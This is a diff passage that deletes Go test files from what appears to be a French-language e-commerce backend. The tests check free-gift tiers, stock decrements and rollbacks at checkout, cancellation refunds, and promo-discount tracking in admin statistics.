||||||
ID int `json:"id"`
|
|
||||||
Items []struct {
|
|
||||||
PromoDiscount float64 `json:"promo_discount"`
|
|
||||||
} `json:"items"`
|
|
||||||
} `json:"deliveries"`
|
|
||||||
}
|
|
||||||
if err := json.Unmarshal(rec.Body.Bytes(), &resp); err != nil {
|
|
||||||
t.Fatalf("décodage réponse: %v body=%s", err, rec.Body.String())
|
|
||||||
}
|
|
||||||
if !resp.Success {
|
|
||||||
t.Fatalf("réponse non successful: body=%s", rec.Body.String())
|
|
||||||
}
|
|
||||||
|
|
||||||
var found bool
|
|
||||||
for _, d := range resp.Deliveries {
|
|
||||||
if d.ID != cmdID {
|
|
||||||
continue
|
|
||||||
}
|
|
||||||
if len(d.Items) != 1 || d.Items[0].PromoDiscount != 25 {
|
|
||||||
t.Fatalf("promo_discount doit être exposé dans GetMyDeliveries: %+v", d.Items)
|
|
||||||
}
|
|
||||||
found = true
|
|
||||||
}
|
|
||||||
if !found {
|
|
||||||
t.Fatalf("commande %d introuvable dans la réponse: body=%s", cmdID, rec.Body.String())
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@@ -1,395 +0,0 @@
|
|||||||
package tests
|
|
||||||
|
|
||||||
import (
|
|
||||||
"gestion/db"
|
|
||||||
"gestion/models"
|
|
||||||
"testing"
|
|
||||||
)
|
|
||||||
|
|
||||||
// ── Persistance des settings (save→reload) ──────────────────────────────────
|
|
||||||
|
|
||||||
func TestUpdateSettings_FreeGiftsRoundTrip(t *testing.T) {
|
|
||||||
resetSettingsAfterTest(t)
|
|
||||||
|
|
||||||
s := db.DefaultSettings()
|
|
||||||
s.FreeGiftsEnabled = true
|
|
||||||
s.FreeGifts = []models.CategoryFreeGiftConfig{
|
|
||||||
{
|
|
||||||
Category: "test",
|
|
||||||
AllProducts: false,
|
|
||||||
Products: []models.FreeGiftProductQuantity{
|
|
||||||
{ProductID: 111, Tiers: []models.FreeGiftTier{
|
|
||||||
{BuyQuantity: 10, FreeQuantity: 1},
|
|
||||||
{BuyQuantity: 20, FreeQuantity: 3},
|
|
||||||
}},
|
|
||||||
},
|
|
||||||
},
|
|
||||||
}
|
|
||||||
if err := testDB.UpdateSettings(s); err != nil {
|
|
||||||
t.Fatalf("UpdateSettings: %v", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
loaded, err := testDB.GetSettings()
|
|
||||||
if err != nil {
|
|
||||||
t.Fatalf("GetSettings: %v", err)
|
|
||||||
}
|
|
||||||
if !loaded.FreeGiftsEnabled {
|
|
||||||
t.Fatal("free_gifts_enabled devrait être true après reload")
|
|
||||||
}
|
|
||||||
if len(loaded.FreeGifts) != 1 {
|
|
||||||
t.Fatalf("free_gifts: got=%d want=1: %+v", len(loaded.FreeGifts), loaded.FreeGifts)
|
|
||||||
}
|
|
||||||
gift := loaded.FreeGifts[0]
|
|
||||||
if gift.Category != "test" || len(gift.Products) != 1 {
|
|
||||||
t.Fatalf("free gift mal persistée: got=%+v", gift)
|
|
||||||
}
|
|
||||||
if len(gift.Products[0].Tiers) != 2 || gift.Products[0].Tiers[1].BuyQuantity != 20 || gift.Products[0].Tiers[1].FreeQuantity != 3 {
|
|
||||||
t.Errorf("tiers mal persistés: got=%+v", gift.Products[0].Tiers)
|
|
||||||
}
|
|
||||||
|
|
||||||
// Désactivation : doit persister à false, pas de résurrection (même
|
|
||||||
// classe de bug que TestUpdateSettings_DisablingPointsRewardPersistsAsNil).
|
|
||||||
s.FreeGiftsEnabled = false
|
|
||||||
if err := testDB.UpdateSettings(s); err != nil {
|
|
||||||
t.Fatalf("UpdateSettings (désactivation): %v", err)
|
|
||||||
}
|
|
||||||
loaded, err = testDB.GetSettings()
|
|
||||||
if err != nil {
|
|
||||||
t.Fatalf("GetSettings (désactivation): %v", err)
|
|
||||||
}
|
|
||||||
if loaded.FreeGiftsEnabled {
|
|
||||||
t.Error("free_gifts_enabled devrait rester false après désactivation")
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// ── Résolution de la quantité offerte (logique pure) ────────────────────────
|
|
||||||
|
|
||||||
func TestResolveFreeGift_AllProductsAtOrAboveThreshold(t *testing.T) {
|
|
||||||
settings := &models.AppSettings{
|
|
||||||
FreeGiftsEnabled: true,
|
|
||||||
FreeGifts: []models.CategoryFreeGiftConfig{
|
|
||||||
{Category: "fleurs", AllProducts: true, Tiers: []models.FreeGiftTier{
|
|
||||||
{BuyQuantity: 10, FreeQuantity: 1},
|
|
||||||
}},
|
|
||||||
},
|
|
||||||
}
|
|
||||||
if got := db.ResolveFreeGift(settings, 42, "fleurs", 10); got != 1 {
|
|
||||||
t.Errorf("quantité offerte: got=%.2f want=1", got)
|
|
||||||
}
|
|
||||||
if got := db.ResolveFreeGift(settings, 42, "fleurs", 15); got != 1 {
|
|
||||||
t.Errorf("au-dessus du seuil, le cadeau reste dû: got=%.2f want=1", got)
|
|
||||||
}
|
|
||||||
if got := db.ResolveFreeGift(settings, 42, "fleurs", 9); got != 0 {
|
|
||||||
t.Errorf("sous le seuil, aucun cadeau: got=%.2f want=0", got)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestResolveFreeGift_DisabledReturnsZero(t *testing.T) {
|
|
||||||
settings := &models.AppSettings{
|
|
||||||
FreeGiftsEnabled: false,
|
|
||||||
FreeGifts: []models.CategoryFreeGiftConfig{
|
|
||||||
{Category: "fleurs", AllProducts: true, Tiers: []models.FreeGiftTier{
|
|
||||||
{BuyQuantity: 10, FreeQuantity: 1},
|
|
||||||
}},
|
|
||||||
},
|
|
||||||
}
|
|
||||||
if got := db.ResolveFreeGift(settings, 42, "fleurs", 10); got != 0 {
|
|
||||||
t.Errorf("offres désactivées: aucun cadeau attendu: got=%.2f", got)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestResolveFreeGift_PerProductHighestTierApplies(t *testing.T) {
|
|
||||||
settings := &models.AppSettings{
|
|
||||||
FreeGiftsEnabled: true,
|
|
||||||
FreeGifts: []models.CategoryFreeGiftConfig{
|
|
||||||
{
|
|
||||||
Category: "fleurs",
|
|
||||||
AllProducts: false,
|
|
||||||
Products: []models.FreeGiftProductQuantity{
|
|
||||||
{ProductID: 111, Tiers: []models.FreeGiftTier{
|
|
||||||
{BuyQuantity: 10, FreeQuantity: 1},
|
|
||||||
{BuyQuantity: 20, FreeQuantity: 3},
|
|
||||||
}},
|
|
||||||
},
|
|
||||||
},
|
|
||||||
},
|
|
||||||
}
|
|
||||||
if got := db.ResolveFreeGift(settings, 111, "fleurs", 10); got != 1 {
|
|
||||||
t.Errorf("seuil 10g: got=%.2f want=1", got)
|
|
||||||
}
|
|
||||||
// 25g dépasse les deux seuils : le plus élevé (20g→3g) doit être retenu,
|
|
||||||
// pas le premier de la liste (10g→1g).
|
|
||||||
if got := db.ResolveFreeGift(settings, 111, "fleurs", 25); got != 3 {
|
|
||||||
t.Errorf("seuil le plus élevé atteint (20g→3g): got=%.2f want=3", got)
|
|
||||||
}
|
|
||||||
// Produit non listé dans cette config : aucun cadeau.
|
|
||||||
if got := db.ResolveFreeGift(settings, 222, "fleurs", 25); got != 0 {
|
|
||||||
t.Errorf("produit non couvert: got=%.2f want=0", got)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// ── Intégration AddToBasket : la quantité livrée inclut le cadeau, au même prix ──
|
|
||||||
|
|
||||||
func TestAddToBasket_AppliesFreeGiftQuantityAtSamePrice(t *testing.T) {
|
|
||||||
cleanupStockTestData(t)
|
|
||||||
resetSettingsAfterTest(t)
|
|
||||||
username := newTestClient(t, "freegift_basket_applies")
|
|
||||||
productID := newTestProduct(t, "FreeGiftBasketApplies", 50)
|
|
||||||
// newTestProduct crée un palier quantity=1 à 10.00€ dans la catégorie "test".
|
|
||||||
|
|
||||||
s := db.DefaultSettings()
|
|
||||||
s.FreeGiftsEnabled = true
|
|
||||||
s.FreeGifts = []models.CategoryFreeGiftConfig{
|
|
||||||
{Category: "test", AllProducts: true, Tiers: []models.FreeGiftTier{
|
|
||||||
{BuyQuantity: 10, FreeQuantity: 1},
|
|
||||||
}},
|
|
||||||
}
|
|
||||||
if err := testDB.UpdateSettings(s); err != nil {
|
|
||||||
t.Fatalf("UpdateSettings: %v", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
basket, err := testDB.AddToBasket(username, productID, 10)
|
|
||||||
if err != nil {
|
|
||||||
t.Fatalf("AddToBasket: %v", err)
|
|
||||||
}
|
|
||||||
if basket.Quantity != 11 {
|
|
||||||
t.Errorf("quantité livrée attendue = 10 + 1 offert = 11: got=%.2f", basket.Quantity)
|
|
||||||
}
|
|
||||||
if basket.Price != 10.0 {
|
|
||||||
t.Errorf("le prix ne doit pas changer (facturé sur les 10g demandés): got=%.2f want=10.00", basket.Price)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestAddToBasket_NoFreeGiftBelowThreshold(t *testing.T) {
|
|
||||||
cleanupStockTestData(t)
|
|
||||||
resetSettingsAfterTest(t)
|
|
||||||
username := newTestClient(t, "freegift_basket_below")
|
|
||||||
productID := newTestProduct(t, "FreeGiftBasketBelow", 50)
|
|
||||||
|
|
||||||
s := db.DefaultSettings()
|
|
||||||
s.FreeGiftsEnabled = true
|
|
||||||
s.FreeGifts = []models.CategoryFreeGiftConfig{
|
|
||||||
{Category: "test", AllProducts: true, Tiers: []models.FreeGiftTier{
|
|
||||||
{BuyQuantity: 10, FreeQuantity: 1},
|
|
||||||
}},
|
|
||||||
}
|
|
||||||
if err := testDB.UpdateSettings(s); err != nil {
|
|
||||||
t.Fatalf("UpdateSettings: %v", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
basket, err := testDB.AddToBasket(username, productID, 5)
|
|
||||||
if err != nil {
|
|
||||||
t.Fatalf("AddToBasket: %v", err)
|
|
||||||
}
|
|
||||||
if basket.Quantity != 5 {
|
|
||||||
t.Errorf("sous le seuil, aucune quantité offerte: got=%.2f want=5", basket.Quantity)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// La quantité réellement décomptée du stock doit inclure le cadeau : un stock
|
|
||||||
// suffisant pour la quantité demandée mais pas pour demandée+offerte doit
|
|
||||||
// faire échouer l'ajout, pas livrer un cadeau partiel.
|
|
||||||
func TestAddToBasket_FreeGiftRejectedWhenStockInsufficientForBonus(t *testing.T) {
|
|
||||||
cleanupStockTestData(t)
|
|
||||||
resetSettingsAfterTest(t)
|
|
||||||
username := newTestClient(t, "freegift_basket_stock")
|
|
||||||
productID := newTestProduct(t, "FreeGiftBasketStock", 10) // stock = 10, pile la quantité demandée
|
|
||||||
|
|
||||||
s := db.DefaultSettings()
|
|
||||||
s.FreeGiftsEnabled = true
|
|
||||||
s.FreeGifts = []models.CategoryFreeGiftConfig{
|
|
||||||
{Category: "test", AllProducts: true, Tiers: []models.FreeGiftTier{
|
|
||||||
{BuyQuantity: 10, FreeQuantity: 1},
|
|
||||||
}},
|
|
||||||
}
|
|
||||||
if err := testDB.UpdateSettings(s); err != nil {
|
|
||||||
t.Fatalf("UpdateSettings: %v", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
if _, err := testDB.AddToBasket(username, productID, 10); err == nil {
|
|
||||||
t.Fatal("stock=10 ne doit pas suffire pour livrer 10g + 1g offert")
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// ── Intégration checkout : le bonus offert est bien décompté du stock ──────
|
|
||||||
//
|
|
||||||
// AddToBasket stocke déjà quantity = demandée + offerte (voir tests
|
|
||||||
// ci-dessus) ; CreateCommandWithAddress ne relit ni ne recalcule cette
|
|
||||||
// quantité — elle est copiée telle quelle dans command_items.quantite et
|
|
||||||
// utilisée telle quelle pour décrémenter products.stock (db_commands.go).
|
|
||||||
// Ces tests vérifient ce chemin de bout en bout, pas juste AddToBasket isolé.
|
|
||||||
|
|
||||||
func TestCheckout_FreeGiftBonusQuantityDecrementsStock(t *testing.T) {
|
|
||||||
cleanupStockTestData(t)
|
|
||||||
resetSettingsAfterTest(t)
|
|
||||||
username := newTestClient(t, "freegift_checkout_stock")
|
|
||||||
productID := newTestProduct(t, "FreeGiftCheckoutStock", 50)
|
|
||||||
// newTestProduct crée un palier quantity=1 à 10.00€ dans la catégorie "test".
|
|
||||||
|
|
||||||
s := db.DefaultSettings()
|
|
||||||
s.FreeGiftsEnabled = true
|
|
||||||
s.FreeGifts = []models.CategoryFreeGiftConfig{
|
|
||||||
{Category: "test", AllProducts: true, Tiers: []models.FreeGiftTier{
|
|
||||||
{BuyQuantity: 10, FreeQuantity: 1},
|
|
||||||
}},
|
|
||||||
}
|
|
||||||
if err := testDB.UpdateSettings(s); err != nil {
|
|
||||||
t.Fatalf("UpdateSettings: %v", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
if _, err := testDB.AddToBasket(username, productID, 10); err != nil {
|
|
||||||
t.Fatalf("AddToBasket: %v", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
cmd, err := testDB.CreateCommandWithAddress(username, "1 rue de test")
|
|
||||||
if err != nil {
|
|
||||||
t.Fatalf("CreateCommandWithAddress: %v", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
// 50 initial - (10 demandés + 1 offert) = 39, pas 40.
|
|
||||||
if got := productStock(t, productID); got != 39 {
|
|
||||||
t.Errorf("stock après checkout avec cadeau: got=%.2f want=39 (50 - 11)", got)
|
|
||||||
}
|
|
||||||
|
|
||||||
var item struct {
|
|
||||||
Quantite float64 `gorm:"column:quantite"`
|
|
||||||
Prix float64 `gorm:"column:prix"`
|
|
||||||
}
|
|
||||||
if err := testDB.GDB.Raw(
|
|
||||||
`SELECT quantite, prix FROM command_items WHERE command_id = ? AND product_id = ?`,
|
|
||||||
cmd.ID, productID,
|
|
||||||
).Scan(&item).Error; err != nil {
|
|
||||||
t.Fatalf("lecture command_items: %v", err)
|
|
||||||
}
|
|
||||||
if item.Quantite != 11 {
|
|
||||||
t.Errorf("command_items.quantite doit inclure le cadeau: got=%.2f want=11", item.Quantite)
|
|
||||||
}
|
|
||||||
if item.Prix != 10.0 {
|
|
||||||
t.Errorf("command_items.prix ne doit pas changer (facturé sur les 10g demandés): got=%.2f want=10.00", item.Prix)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestCheckout_FreeGiftRollsBackWhenStockInsufficientForBonus(t *testing.T) {
|
|
||||||
cleanupStockTestData(t)
|
|
||||||
resetSettingsAfterTest(t)
|
|
||||||
username := newTestClient(t, "freegift_checkout_rollback")
|
|
||||||
productID := newTestProduct(t, "FreeGiftCheckoutRollback", 50)
|
|
||||||
|
|
||||||
s := db.DefaultSettings()
|
|
||||||
s.FreeGiftsEnabled = true
|
|
||||||
s.FreeGifts = []models.CategoryFreeGiftConfig{
|
|
||||||
{Category: "test", AllProducts: true, Tiers: []models.FreeGiftTier{
|
|
||||||
{BuyQuantity: 10, FreeQuantity: 1},
|
|
||||||
}},
|
|
||||||
}
|
|
||||||
if err := testDB.UpdateSettings(s); err != nil {
|
|
||||||
t.Fatalf("UpdateSettings: %v", err)
|
|
||||||
}
|
|
||||||
if _, err := testDB.AddToBasket(username, productID, 10); err != nil {
|
|
||||||
t.Fatalf("AddToBasket: %v", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
// Le stock chute sous 11 (10 demandés + 1 offert) après l'ajout au panier,
|
|
||||||
// simulant une vente concurrente qui vide le stock entre AddToBasket et
|
|
||||||
// checkout — le checkout doit échouer et ne rien décrémenter.
|
|
||||||
if err := testDB.GDB.Exec(`UPDATE products SET stock = 10 WHERE id = ?`, productID).Error; err != nil {
|
|
||||||
t.Fatalf("réduction stock: %v", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
if _, err := testDB.CreateCommandWithAddress(username, "1 rue de test"); err == nil {
|
|
||||||
t.Fatal("checkout attendu en échec: stock=10 insuffisant pour 10 demandés + 1 offert")
|
|
||||||
}
|
|
||||||
if got := productStock(t, productID); got != 10 {
|
|
||||||
t.Errorf("stock ne doit pas bouger si le checkout échoue: got=%.2f want=10", got)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// ── Intégration annulation : le remboursement inclut le bonus offert ───────
|
|
||||||
|
|
||||||
func TestCancelCommandAtomic_RefundsFreeGiftBonusQuantity(t *testing.T) {
|
|
||||||
cleanupStockTestData(t)
|
|
||||||
resetSettingsAfterTest(t)
|
|
||||||
username := newTestClient(t, "freegift_cancel_refund")
|
|
||||||
productID := newTestProduct(t, "FreeGiftCancelRefund", 50)
|
|
||||||
|
|
||||||
s := db.DefaultSettings()
|
|
||||||
s.FreeGiftsEnabled = true
|
|
||||||
s.FreeGifts = []models.CategoryFreeGiftConfig{
|
|
||||||
{Category: "test", AllProducts: true, Tiers: []models.FreeGiftTier{
|
|
||||||
{BuyQuantity: 10, FreeQuantity: 1},
|
|
||||||
}},
|
|
||||||
}
|
|
||||||
if err := testDB.UpdateSettings(s); err != nil {
|
|
||||||
t.Fatalf("UpdateSettings: %v", err)
|
|
||||||
}
|
|
||||||
if _, err := testDB.AddToBasket(username, productID, 10); err != nil {
|
|
||||||
t.Fatalf("AddToBasket: %v", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
cmd, err := testDB.CreateCommandWithAddress(username, "1 rue de test")
|
|
||||||
if err != nil {
|
|
||||||
t.Fatalf("CreateCommandWithAddress: %v", err)
|
|
||||||
}
|
|
||||||
if got := productStock(t, productID); got != 39 {
|
|
||||||
t.Fatalf("précondition stock post-checkout: got=%.2f want=39", got)
|
|
||||||
}
|
|
||||||
|
|
||||||
if _, err := testDB.CancelCommandAtomic(cmd.ID, username, "test", false); err != nil {
|
|
||||||
t.Fatalf("CancelCommandAtomic: %v", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
// 39 + 11 (10 demandés + 1 offert) = 50, retour exact au stock initial.
|
|
||||||
if got := productStock(t, productID); got != 50 {
|
|
||||||
t.Errorf("stock après annulation (bonus offert inclus dans le remboursement): got=%.2f want=50", got)
|
|
||||||
}
|
|
||||||
|
|
||||||
// Rejeu : ne doit rembourser qu'une fois.
|
|
||||||
if _, err := testDB.CancelCommandAtomic(cmd.ID, username, "test", false); err == nil {
|
|
||||||
t.Fatal("le second appel sur une commande déjà annulée doit échouer, pas rembourser une seconde fois")
|
|
||||||
}
|
|
||||||
if got := productStock(t, productID); got != 50 {
|
|
||||||
t.Errorf("stock après double annulation: got=%.2f want=50 (un seul remboursement)", got)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// ── Cumul avec les promotions de prix ───────────────────────────────────────
|
|
||||||
//
|
|
||||||
// Une offre "achetez X, Y offert" et une promotion de réduction (%) sur le
|
|
||||||
// même produit doivent pouvoir s'appliquer ensemble : la promotion réduit le
|
|
||||||
// prix facturé sur la quantité demandée, le cadeau ajoute de la quantité
|
|
||||||
// livrée sans toucher au prix — les deux mécanismes sont indépendants dans
|
|
||||||
// AddToBasket (voir db_basket.go) mais rien ne garantissait jusqu'ici qu'ils
|
|
||||||
// ne s'écrasent pas mutuellement une fois combinés.
|
|
||||||
func TestAddToBasket_FreeGiftAndPromotionBothApplyTogether(t *testing.T) {
|
|
||||||
cleanupStockTestData(t)
|
|
||||||
resetSettingsAfterTest(t)
|
|
||||||
username := newTestClient(t, "freegift_promo_combo")
|
|
||||||
productID := newTestProduct(t, "FreeGiftPromoCombo", 50)
|
|
||||||
// newTestProduct crée un palier quantity=1 à 10.00€ dans la catégorie "test".
|
|
||||||
|
|
||||||
s := db.DefaultSettings()
|
|
||||||
s.PromotionsEnabled = true
|
|
||||||
s.Promotions = []models.CategoryPromotionConfig{
|
|
||||||
{Category: "test", AllProducts: true, Quantity: 10, DiscountPercent: 20},
|
|
||||||
}
|
|
||||||
s.FreeGiftsEnabled = true
|
|
||||||
s.FreeGifts = []models.CategoryFreeGiftConfig{
|
|
||||||
{Category: "test", AllProducts: true, Tiers: []models.FreeGiftTier{
|
|
||||||
{BuyQuantity: 10, FreeQuantity: 1},
|
|
||||||
}},
|
|
||||||
}
|
|
||||||
if err := testDB.UpdateSettings(s); err != nil {
|
|
||||||
t.Fatalf("UpdateSettings: %v", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
basket, err := testDB.AddToBasket(username, productID, 10)
|
|
||||||
if err != nil {
|
|
||||||
t.Fatalf("AddToBasket: %v", err)
|
|
||||||
}
|
|
||||||
if basket.Quantity != 11 {
|
|
||||||
t.Errorf("le cadeau doit s'appliquer malgré la promo active: got quantity=%.2f want=11", basket.Quantity)
|
|
||||||
}
|
|
||||||
if basket.Price != 8.0 {
|
|
||||||
t.Errorf("la promo doit s'appliquer malgré le cadeau actif: got price=%.2f want=8.00 (10€ - 20%%)", basket.Price)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@@ -1,308 +0,0 @@
|
|||||||
package tests
|
|
||||||
|
|
||||||
import (
|
|
||||||
"gestion/db"
|
|
||||||
"gestion/models"
|
|
||||||
"testing"
|
|
||||||
"time"
|
|
||||||
)
|
|
||||||
|
|
||||||
// ── Traçage du montant économisé (AddToBasket → command_items) ─────────────
|
|
||||||
//
|
|
||||||
// command_items.promo_discount / baskets.promo_discount capturent le montant
|
|
||||||
// (€) économisé par une promotion de prix au moment de AddToBasket, pour
|
|
||||||
// permettre des statistiques historiques fiables même si la configuration de
|
|
||||||
// promotion change ensuite (voir db_basket.go, commentaire sur promoDiscount).
|
|
||||||
|
|
||||||
func TestAddToBasket_TracksPromoDiscountAmount(t *testing.T) {
|
|
||||||
cleanupStockTestData(t)
|
|
||||||
resetSettingsAfterTest(t)
|
|
||||||
username := newTestClient(t, "promo_discount_track")
|
|
||||||
productID := newTestProduct(t, "PromoDiscountTrack", 20)
|
|
||||||
// newTestProduct crée un palier quantity=1 à 10.00€ dans la catégorie "test".
|
|
||||||
|
|
||||||
s := db.DefaultSettings()
|
|
||||||
s.PromotionsEnabled = true
|
|
||||||
s.Promotions = []models.CategoryPromotionConfig{
|
|
||||||
{Category: "test", AllProducts: true, Quantity: 1, DiscountPercent: 20},
|
|
||||||
}
|
|
||||||
if err := testDB.UpdateSettings(s); err != nil {
|
|
||||||
t.Fatalf("UpdateSettings: %v", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
basket, err := testDB.AddToBasket(username, productID, 1)
|
|
||||||
if err != nil {
|
|
||||||
t.Fatalf("AddToBasket: %v", err)
|
|
||||||
}
|
|
||||||
if basket.Price != 8.0 {
|
|
||||||
t.Fatalf("précondition prix promo: got=%.2f want=8.00", basket.Price)
|
|
||||||
}
|
|
||||||
if basket.PromoDiscount != 2.0 {
|
|
||||||
t.Errorf("promo_discount doit être l'écart catalogue/promo: got=%.2f want=2.00 (10€-8€)", basket.PromoDiscount)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestAddToBasket_NoPromoDiscountWithoutPromotion(t *testing.T) {
|
|
||||||
cleanupStockTestData(t)
|
|
||||||
resetSettingsAfterTest(t)
|
|
||||||
username := newTestClient(t, "promo_discount_none")
|
|
||||||
productID := newTestProduct(t, "PromoDiscountNone", 20)
|
|
||||||
|
|
||||||
basket, err := testDB.AddToBasket(username, productID, 1)
|
|
||||||
if err != nil {
|
|
||||||
t.Fatalf("AddToBasket: %v", err)
|
|
||||||
}
|
|
||||||
if basket.PromoDiscount != 0 {
|
|
||||||
t.Errorf("sans promo, promo_discount doit rester à 0: got=%.2f", basket.PromoDiscount)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// Deux ajouts successifs du même produit (même ligne panier, is_reward=false)
|
|
||||||
// fusionnent quantité et prix (voir AddToBasket) — promo_discount doit être
|
|
||||||
// cumulé de la même façon, pas remplacé par le dernier ajout.
|
|
||||||
func TestAddToBasket_MergePromoDiscountAccumulatesAcrossAdds(t *testing.T) {
|
|
||||||
cleanupStockTestData(t)
|
|
||||||
resetSettingsAfterTest(t)
|
|
||||||
username := newTestClient(t, "promo_discount_merge")
|
|
||||||
productID := newTestProduct(t, "PromoDiscountMerge", 20)
|
|
||||||
|
|
||||||
s := db.DefaultSettings()
|
|
||||||
s.PromotionsEnabled = true
|
|
||||||
s.Promotions = []models.CategoryPromotionConfig{
|
|
||||||
{Category: "test", AllProducts: true, Quantity: 1, DiscountPercent: 20},
|
|
||||||
}
|
|
||||||
if err := testDB.UpdateSettings(s); err != nil {
|
|
||||||
t.Fatalf("UpdateSettings: %v", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
if _, err := testDB.AddToBasket(username, productID, 1); err != nil {
|
|
||||||
t.Fatalf("AddToBasket (1er ajout): %v", err)
|
|
||||||
}
|
|
||||||
basket, err := testDB.AddToBasket(username, productID, 1)
|
|
||||||
if err != nil {
|
|
||||||
t.Fatalf("AddToBasket (2e ajout): %v", err)
|
|
||||||
}
|
|
||||||
if basket.PromoDiscount != 4.0 {
|
|
||||||
t.Errorf("le cumul des deux ajouts doit sommer les remises: got=%.2f want=4.00 (2×2€)", basket.PromoDiscount)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestCheckout_PromoDiscountCopiedToCommandItems(t *testing.T) {
|
|
||||||
cleanupStockTestData(t)
|
|
||||||
resetSettingsAfterTest(t)
|
|
||||||
username := newTestClient(t, "promo_discount_checkout")
|
|
||||||
productID := newTestProduct(t, "PromoDiscountCheckout", 20)
|
|
||||||
|
|
||||||
s := db.DefaultSettings()
|
|
||||||
s.PromotionsEnabled = true
|
|
||||||
s.Promotions = []models.CategoryPromotionConfig{
|
|
||||||
{Category: "test", AllProducts: true, Quantity: 1, DiscountPercent: 20},
|
|
||||||
}
|
|
||||||
if err := testDB.UpdateSettings(s); err != nil {
|
|
||||||
t.Fatalf("UpdateSettings: %v", err)
|
|
||||||
}
|
|
||||||
if _, err := testDB.AddToBasket(username, productID, 1); err != nil {
|
|
||||||
t.Fatalf("AddToBasket: %v", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
cmd, err := testDB.CreateCommandWithAddress(username, "1 rue de test")
|
|
||||||
if err != nil {
|
|
||||||
t.Fatalf("CreateCommandWithAddress: %v", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
var discount float64
|
|
||||||
if err := testDB.GDB.Raw(
|
|
||||||
`SELECT promo_discount FROM command_items WHERE command_id = ? AND product_id = ?`,
|
|
||||||
cmd.ID, productID,
|
|
||||||
).Scan(&discount).Error; err != nil {
|
|
||||||
t.Fatalf("lecture command_items: %v", err)
|
|
||||||
}
|
|
||||||
if discount != 2.0 {
|
|
||||||
t.Errorf("promo_discount doit être copié tel quel au checkout: got=%.2f want=2.00", discount)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// ── Stats admin : total économisé et nombre de commandes concernées ────────
|
|
||||||
|
|
||||||
func approveTestCommand(t *testing.T, commandID int) {
|
|
||||||
t.Helper()
|
|
||||||
if err := testDB.GDB.Exec(`UPDATE commandes SET status = 'approved' WHERE id = ?`, commandID).Error; err != nil {
|
|
||||||
t.Fatalf("passage en approved: %v", err)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestTotalPromoDiscount_SumsOnlyApprovedOrders(t *testing.T) {
|
|
||||||
cleanupStockTestData(t)
|
|
||||||
resetSettingsAfterTest(t)
|
|
||||||
username := newTestClient(t, "stats_promo_discount")
|
|
||||||
productID := newTestProduct(t, "StatsPromoDiscount", 20)
|
|
||||||
|
|
||||||
s := db.DefaultSettings()
|
|
||||||
s.PromotionsEnabled = true
|
|
||||||
s.Promotions = []models.CategoryPromotionConfig{
|
|
||||||
{Category: "test", AllProducts: true, Quantity: 1, DiscountPercent: 20},
|
|
||||||
}
|
|
||||||
if err := testDB.UpdateSettings(s); err != nil {
|
|
||||||
t.Fatalf("UpdateSettings: %v", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
// Commande 1 : avec promo, approuvée → comptée.
|
|
||||||
if _, err := testDB.AddToBasket(username, productID, 1); err != nil {
|
|
||||||
t.Fatalf("AddToBasket (cmd1): %v", err)
|
|
||||||
}
|
|
||||||
cmd1, err := testDB.CreateCommandWithAddress(username, "1 rue de test")
|
|
||||||
if err != nil {
|
|
||||||
t.Fatalf("CreateCommandWithAddress (cmd1): %v", err)
|
|
||||||
}
|
|
||||||
approveTestCommand(t, cmd1.ID)
|
|
||||||
|
|
||||||
// Commande 2 : avec promo, restée "pending" (statut par défaut du
|
|
||||||
// checkout) → NE DOIT PAS être comptée.
|
|
||||||
if _, err := testDB.AddToBasket(username, productID, 1); err != nil {
|
|
||||||
t.Fatalf("AddToBasket (cmd2): %v", err)
|
|
||||||
}
|
|
||||||
if _, err := testDB.CreateCommandWithAddress(username, "1 rue de test"); err != nil {
|
|
||||||
t.Fatalf("CreateCommandWithAddress (cmd2): %v", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
total, err := testDB.TotalPromoDiscount(time.Time{})
|
|
||||||
if err != nil {
|
|
||||||
t.Fatalf("TotalPromoDiscount: %v", err)
|
|
||||||
}
|
|
||||||
if total != 2.0 {
|
|
||||||
t.Errorf("seule la commande approuvée doit compter: got=%.2f want=2.00", total)
|
|
||||||
}
|
|
||||||
|
|
||||||
count, err := testDB.PromoOrdersCount(time.Time{})
|
|
||||||
if err != nil {
|
|
||||||
t.Fatalf("PromoOrdersCount: %v", err)
|
|
||||||
}
|
|
||||||
if count != 1 {
|
|
||||||
t.Errorf("une seule commande approuvée avec promo: got=%d want=1", count)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestTotalPromoDiscount_RespectsResetFilter(t *testing.T) {
|
|
||||||
cleanupStockTestData(t)
|
|
||||||
resetSettingsAfterTest(t)
|
|
||||||
